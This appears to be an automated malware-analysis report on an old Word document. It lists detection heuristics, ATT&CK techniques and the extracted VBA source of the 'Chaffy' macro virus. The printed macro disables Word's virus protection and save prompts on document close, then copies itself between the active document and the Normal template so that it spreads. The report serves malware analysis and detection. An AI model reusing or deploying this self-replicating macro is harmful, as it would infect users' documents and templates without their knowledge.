MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing VBA macros. The AutoClose macro attempts to export itself to 'C:\Chaffy.lnk', suggesting an attempt to establish persistence or facilitate further execution. The presence of legacy WordBasic markers and the Auto_Close macro indicate a potentially older, but still functional, malicious macro.
Heuristics 4
-
ClamAV: Doc.Trojan.FS-12 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.FS-12
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 918 bytes |
SHA-256: 5c3f92baef6ef60c063d4bbcc268ff70f3acf3e188561f871576eadfad7d37a0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Chaffy"
'Copyright (C) 1998 by FlyShadow ~^^~ - Chaffy
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Set ν = NormalTemplate.VBProject.VBComponents
Set υ = ActiveDocument.VBProject.VBComponents
Select Case �
Case ν("Chaffy").Name
υ("Chaffy").Export "C:\Chaffy.lnk": Set α = ν
Case υ("Chaffy").Name
ν("Chaffy").Export "C:\Chaffy.lnk": Set α = υ
Case Else
Exit Sub
End Select
α.Import "C:\Chaffy.lnk"
ActiveDocument.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.